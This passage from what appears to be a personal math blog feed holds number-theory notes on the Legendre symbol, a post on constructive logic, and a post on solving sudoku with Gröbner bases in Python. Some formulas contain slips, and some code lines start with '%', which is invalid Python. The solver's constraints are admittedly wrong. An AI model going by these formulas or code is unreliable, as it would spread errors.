<p>\(a\in\mathbb{Z},\;gcd(a,n)=1\) is called quadratic residue modulo \(n:\Leftrightarrow x^2\equiv a\;(mod\;n)\) is solvable</p>
<p>\(\mathfrak{R}:=\{\overline{a}\in\mathbb{Z}_p^*:\, a\) is a quadratic residue mod p\(\}\leq\mathbb{Z}_n^* \quad\lvert \mathfrak{R}\rvert=\frac{p-1}{2}\)</p>
\[2\neq p\in\mathbb{P},\;a\in\mathbb{Z}\]
<p>Definition of the Legendre symbol
\(\begin{equation}
\left(\frac{a}{p}\right):=\begin{cases}
1,&gcd(a,p)=1,\text{ a is a quadratic residue mod p}\\
-1,&gcd(a,p)=1,\text{ a is a quadratic nonresidue mod p}\\
\end{cases}
\end{equation}\)</p>
<p>The Legendre symbol has the following properties:</p>
<ul>
<li>
\[a\equiv b\;(mod\;p)\Rightarrow \left(\frac{a}{p}\right)=\left(\frac{b}{p}\right)\]
</li>
<li>
\[\left(\frac{a\cdot b}{p}\right)=\left(\frac{a}{p}\right)\cdot\left(\frac{b}{p}\right)\]
</li>
<li>
\[\left(\frac{a^2}{p}\right)=1\Leftrightarrow p\nmid a\]
</li>
<li>
\[\left(\frac{2}{p}\right)=1\Leftrightarrow p=\pm 1\;(mod\;8)\]
</li>
<li>Euler: \(\left(\frac{a}{p}\right)=a^{\frac{p-1}{2}}\)</li>
</ul>
<p>Law of Quadratic Reciprocity:
Let \(2\neq p,q\in\mathbb{P},\;p\neq q:\). Then</p>
\[\begin{equation}
\left(\frac{p}{q}\right)\cdot\left(\frac{q}{p}\right)=(-1)^{\frac{p-1}{2}\cdot\frac{q-1}{2}}
=\begin{cases}
-1, & p\equiv q\equiv 3\;(mod\;4) \\
1, & else \\
\end{cases}
\end{equation}\]
\[\left(\frac{-1}{p}\right)=(-1)^{\frac{p-1}{2}}\]
\[\begin{equation}
\left(\frac{2}{p}\right)=(-1)^{\frac{p^2-1}{8}}
=\begin{cases}
1, & p=\pm1\;(mod\;8) \\
-1, & p=\pm3\;(mod\;8) \\
\end{cases}
\end{equation}\]
<h2 id="the-diophantine-equation-x2-my2pm-p">The Diophantine Equation \(x^2-my^2=\pm p\)</h2>
<p>\(gcd(p,k,m)=1,\;2\neq p\in\mathbb{P},\;x^2-my^2=kp\) solvable \(\Rightarrow(\frac{m}{p})=1\)</p>
<p>\(x^2+2y^2=p,\;2\neq p\in\mathbb{P}\) solvable \(\Leftrightarrow p\equiv1,\;3\;(mod\;8)\Leftrightarrow(\frac{-1}{p})=1\)</p>
Constructive Logic
2021-09-19T00:00:00+00:00
https://hkopp.github.io/2021/09/constructive-logic
<h2 id="introduction">Introduction</h2>
<p>Today, I talk a little bit about constructive or intuitionistic logic.
I am not a constructive logician but I enjoy their ideas and hope that I repeat their point of view undistorted.</p>
<p>In a nutshell, constructive logic is a new approach to the foundations of mathematics that only allows for constructive proofs.</p>
<h2 id="arguments-for-constructive-logic">Arguments for Constructive Logic</h2>
<h3 id="computability">Computability</h3>
<p>In classical math, there were theorems that proved the existence of objects without telling how to find them.
Many jokes about mathematicians are based on this fact.
The punch line of these types of jokes is usually that problems are “solvable” or even “uniquely solvable” without presenting the solution.</p>
<p>It cannot be dismissed that through the emergence of computers, it may be nice to have a way to construct objects with special properties, instead of only knowing about their existence.
More formally, we can consider a theorem along the following lines:
For all objects x from some domain there is an object y, such that some proposition A(x,y) is true.
However, there is no way to find that y. What we want instead of the existence theorem is a function y(x) that computes a y given an x, such that A(x,y(x)) is true.</p>
<h3 id="truth">Truth</h3>
<p>A second more philosophical argument for constructive logic revolves around the notion of truth itself.
In classical logic, truth is simply a value that is assigned to a statement.
The truth of a statement follows from internal logical conclusions, probably referring to an external reality.
In constructive logic, the notion of truth is substituted by constructibility.
Things are only true if they can be constructed.</p>
<h2 id="the-law-of-the-excluded-middle-lem-and-constructibility">The Law of the Excluded Middle (LEM) and Constructibility</h2>
<p>In a nutshell, constructive logic is constructive because it gets rid of the law of the excluded middle (LEM).</p>
<p>The history of LEM goes back to Aristotle.
Aristotle said that of two contradictory statements one must be true, and the other false.
In more modern language this means that a statement is either true or false, there is no third truth value. I.e., the “middle” is excluded.</p>
<p>So, How does LEM lead to unconstructiveness?
This is due to the fact that LEM allows for proofs by contradiction which are not constructive.
These proofs are generally like the following.</p>
<blockquote>
<p>Assume there is no x, such that a proposition P(x) is true. Then, after some logical inductions, we receive a contradiction.
Consequently, the assumption was not true.
According to LEM, this means that the assumption that there is no such x is wrong.
So, there is such an x, but we do not know how to find it.</p>
</blockquote>
<p>This is clearly not constructive.
And that is the reason why constructive logic does not use LEM.</p>
<p>Note that constructive logicians do not think that LEM is wrong.
Merely, that it may not always hold.</p>
<h2 id="a-note-on-the-axiom-of-choice">A Note on the Axiom of Choice</h2>
<p>If you are a fan of the axiom of choice and are interested in constructive mathematics I have bad news for you.
The axiom of choice implies the law of the excluded middle.
This fact is called <a href="https://en.wikipedia.org/wiki/Diaconescu%27s_theorem">Diaconescu’s Theorem</a>.
As a consequence, a constructive set theory cannot use the axiom of choice.</p>
<h2 id="summary">Summary</h2>
<p>Constructive or intuitionistic logic is a weaker form of logic than classical logic.
This means that it is more conservative in what it allows to infer.
Everything that is true in constructive logic is true in classical logic but not the other way around.
However, the main benefit of constructive logic is that its objects can be constructed.</p>
Solving Sudoku Algebraically
2021-08-07T00:00:00+00:00
https://hkopp.github.io/2021/08/solving-sudoku-algebraically
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In today’s post I will show you how to solve a sudoku using tools from
algebraic geometry.</p>
<p>Sudokus consist of a 9x9 grid containing some numbers, together with
some special requirements. The task is to fill in the missing numbers.
If you do not know what a sudoku is, please take a look
<a href="https://en.wikipedia.org/wiki/Sudoku">here</a>.</p>
<p>The usual approach for solving sudokus is a back-tracking approach.
The first empty cell is filled in with a one and the conditions are
checked. If the conditions are met, the algorithm continues with the
next cell. If the conditions are not met, the current number is
increased. If the current number is one, then execution continues at
the previous number.
This is the usual algorithmic approach for solving a sudoku. However,
this does not give us any intuition about the problem.</p>
<p>In this blog post I will define the sudoku as a set of polynomial equations.
These equations can be solved in order to yield the solution
(supposing the solution is unique).
As we are using tools from algebraic geometry, we can get more
intuition about sudokus (at least if you are a mathematician).
If you are not a mathematician I hope you find the presented methods
beautiful nevertheless.
If you are just interested in the code without so much math, scroll
down.</p>
<h2 id="idea">Idea</h2>
<p>First, we introduce variables \(x_0, ..., x_{80}\), one for each cell in the sudoku.
Formally, we are now dealing with the polynomial ring \(\mathbb{Q}[x_0, ..., x_{80}]\).
The idea is to encode the conditions on the sudoku as a set of polynomials
\(F\subset \mathbb{Q}[x_0, ..., x_{80}]\).
Using <a href="https://en.wikipedia.org/wiki/Hilbert%27s_Nullstellensatz">Hilberts
Nullstellensatz</a>
the vanishing set \(V(\langle F\rangle)\) of the ideal generated by
\(F\) corresponds to an algebraic variety \(V(\langle
F\rangle)\subset \mathbb{Q}^{81}\).
If we have done everything correctly then \(F\) is a maximal ideal
and therefore its form is \(\langle x_0-a_0, ..., x_{80}-a_{80}\rangle\) from which we can simply read the solution.</p>
<p>So, from an intuitive point of
view, each polynomial within \(F\) defines some subspace in that
81-dimensional space. If take the locus where all polynomials vanish,
then this point should correspond to the solution of the sudoku.</p>
<h2 id="the-equations">The equations</h2>
<p>In this paragraph, I will define the necessary equations which we put
in F.</p>
<p>For restricting the values to whole numbers from 1 to 9, we can define
the following polynomials for all \(i=0, ..., 80\).</p>
\[\begin{align*}
F_i=(x_i-1)\cdot(x_i-2)\cdot(x_i-3)\cdot(x_i-4)\cdot(x_i-5)\cdot(x_i-6)\cdot(x_i-7)\cdot(x_i-8)\cdot(x_i-9)
\end{align*}\]
<p>It is clear that this polynomial vanishes exactly at \(1,2,...,9\).</p>
<p>Next, we want to define polynomials for the condition that each number
can only be used once in each column/row, and in each block.
This can be done by defining that the sum of all columns/rows and of
each block should be \(45\). Its product should be \(362880\). And with these
two conditions we have no duplicate numbers.</p>
<blockquote>
<p>Addendum from 2024-03-08: This is not true. Matthias Paulsen
informed me by mail that these two properties do not uniquely
determine that each number is used exactly once. Take as example the
numbers 1, 2, 4, 4, 4, 5, 7, 9, 9. Then their sum is also \(45\)
and their product is \(362880\). Thus, my sudoku solver may yield
more (incorrect) solutions. Thanks, Matthias.
Instead a correct set of polynomials is \(G_ij=(F_i/F_j)/(x_i-x_j)\)
for all \(i, j\), with \(i\not =j\) and \(x_i\) and \(x_j\) in the same block
and row. However, this leads to my program becoming unbearably slow.</p>
</blockquote>
<p>As a last step, some of the cells in the sudoku are already filled
out. We call the numbers there \(a_j\), where \(J\subset\{1, ...,
80\}\).
Then, we can define new polynomials for each \(j\).</p>
\[\begin{align*}
x_j-a_j
\end{align*}\]
<p>Setting these two zero gives us a hyperplane that cuts the space at
the desired point.</p>
<h2 id="solving-the-equations">Solving the equations</h2>
<p>Now we have a system of polynomial equations in \(81\) unknowns. In
particular we have 135 equations plus one for each given cell in the sudoku.
How do we solve this system?</p>
<p>For linear systems of equations there is Gaussian elimination which
transforms a system of linear equations into a standard
representation. In the case of linear equations, this normal form is a
triangular matrix.
For systems of polynomial equations there is also a normal form,
called the <a href="https://en.wikipedia.org/wiki/Gr%C3%B6bner_basis">Gröbner
basis</a>.
And there is <a href="https://en.wikipedia.org/wiki/Buchberger%27s_algorithm">Buchberger’s
algorithm</a>
which can compute a Gröbner basis.
In a very real sense Buchberger’s algorithm is a generalization of
Gaussian elimination and in the case of linear equations those two
algorithms are equal.</p>
<p>So, in summary we can use Buchberger’s algorithm to compute a Gröbner
basis of the equations and then read off the solution to the sudoku.</p>
<h1 id="code">Code</h1>
<p>In this section you can find the code. Please be aware that the code
is slow. This is not due to my coding skills, but due to the
Buchberger algorithm being slow.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">sympy</span> <span class="kn">import</span> <span class="n">groebner</span><span class="p">,</span> <span class="n">symbols</span>
<span class="n">x</span> <span class="o">=</span> <span class="p">[</span><span class="n">symbols</span><span class="p">(</span><span class="s">'x%d'</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">81</span><span class="p">)]</span>
<span class="n">sudoku</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span>
<span class="mi">8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">4</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">0</span><span class="p">]</span>
<span class="o">%</span> <span class="n">solution</span> <span class="o">=</span> <span class="p">[</span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">1</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">8</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">7</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">9</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">2</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span>
<span class="o">%</span> <span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">9</span><span class="p">]</span>
<span class="n">F</span><span class="o">=</span><span class="p">[]</span>
<span class="c1"># Restrict values to 1-9
</span><span class="k">for</span> <span class="n">xi</span> <span class="ow">in</span> <span class="n">x</span><span class="p">:</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">xi</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">3</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">4</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">5</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">6</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">7</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">xi</span><span class="o">-</span><span class="mi">9</span><span class="p">))</span>
<span class="c1"># Sum of lines = 45
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">9</span><span class="p">):</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">6</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">7</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span><span class="o">-</span><span class="mi">45</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">):</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">9</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">18</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">27</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">36</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">45</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">54</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">63</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">72</span><span class="p">]</span><span class="o">-</span><span class="mi">45</span><span class="p">)</span>
<span class="c1"># Product of lines = 362880
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">9</span><span class="p">):</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">6</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">7</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span><span class="o">-</span><span class="mi">362880</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">):</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">9</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">18</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">27</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">36</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">45</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">54</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">63</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">72</span><span class="p">]</span><span class="o">-</span><span class="mi">362880</span><span class="p">)</span>
<span class="c1"># Blocks sum to 45
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">27</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">33</span><span class="p">,</span><span class="mi">54</span><span class="p">,</span><span class="mi">57</span><span class="p">,</span><span class="mi">60</span><span class="p">]:</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">9</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">10</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">11</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">18</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">19</span><span class="p">]</span><span class="o">+</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span><span class="o">-</span><span class="mi">45</span><span class="p">)</span>
<span class="c1"># Product of numbers in blocks = 362880
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">27</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">33</span><span class="p">,</span><span class="mi">54</span><span class="p">,</span><span class="mi">57</span><span class="p">,</span><span class="mi">60</span><span class="p">]:</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">9</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">10</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">11</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">18</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">19</span><span class="p">]</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span><span class="o">-</span><span class="mi">362880</span><span class="p">)</span>
<span class="c1"># Addendum from 2024-03-08: As already written above, these
# polynomials are not enough. To restrict the Sudoku solver to only
# output valid solutions, the following equations can be used instead
# of the line and block condition. Note that the program becomes
# unbearably slow.
#
# def G(y):
# for xi in y:
# fi=(xi-1)*(xi-2)*(xi-3)*(xi-4)*(xi-5)*(xi-6)*(xi-7)*(xi-8)*(xi-9)
# for xj in y:
# if xi != xj:
# fj=(xj-1)*(xj-2)*(xj-3)*(xj-4)*(xj-5)*(xj-6)*(xj-7)*(xj-8)*(xj-9)
# F.append((fi-fj)/(xi-xj))
#
# # all lines and blocks that contain different numbers
# G((x[0],x[1],x[2],x[3],x[4],x[5],x[6],x[7],x[8]))
# G((x[9],x[10],x[11],x[12],x[13],x[14],x[15],x[16],x[17]))
# G((x[18],x[19],x[20],x[21],x[22],x[23],x[24],x[25],x[26]))
# G((x[27],x[28],x[29],x[30],x[31],x[32],x[33],x[34],x[35]))
# G((x[36],x[37],x[38],x[39],x[40],x[41],x[42],x[43],x[44]))
# G((x[45],x[46],x[47],x[48],x[49],x[50],x[51],x[52],x[53]))
# G((x[54],x[55],x[56],x[57],x[58],x[59],x[60],x[61],x[62]))
# G((x[63],x[64],x[65],x[66],x[67],x[68],x[69],x[70],x[71]))
# G((x[72],x[73],x[74],x[75],x[76],x[77],x[78],x[79],x[80]))
# G((x[0],x[9],x[18],x[27],x[36],x[45],x[54],x[63],x[72]))
# G((x[1],x[10],x[19],x[28],x[37],x[46],x[55],x[64],x[73]))
# G((x[2],x[11],x[20],x[29],x[38],x[47],x[56],x[65],x[74]))
# G((x[3],x[12],x[21],x[30],x[39],x[48],x[57],x[66],x[75]))
# G((x[4],x[13],x[22],x[31],x[40],x[49],x[58],x[67],x[76]))
# G((x[5],x[14],x[23],x[32],x[41],x[50],x[59],x[68],x[77]))
# G((x[6],x[15],x[24],x[33],x[42],x[51],x[60],x[69],x[78]))
# G((x[7],x[16],x[25],x[34],x[43],x[52],x[61],x[70],x[79]))
# G((x[8],x[17],x[26],x[35],x[44],x[53],x[62],x[71],x[80]))
# G((x[0],x[1],x[2],x[9],x[10],x[11],x[18],x[19],x[20]))
# G((x[3],x[4],x[5],x[12],x[13],x[14],x[21],x[22],x[23]))
# G((x[6],x[7],x[8],x[15],x[16],x[17],x[24],x[25],x[26]))
# G((x[27],x[28],x[29],x[36],x[37],x[38],x[45],x[46],x[47]))
# G((x[30],x[31],x[32],x[39],x[40],x[41],x[48],x[49],x[50]))
# G((x[33],x[34],x[35],x[42],x[43],x[44],x[51],x[52],x[53]))
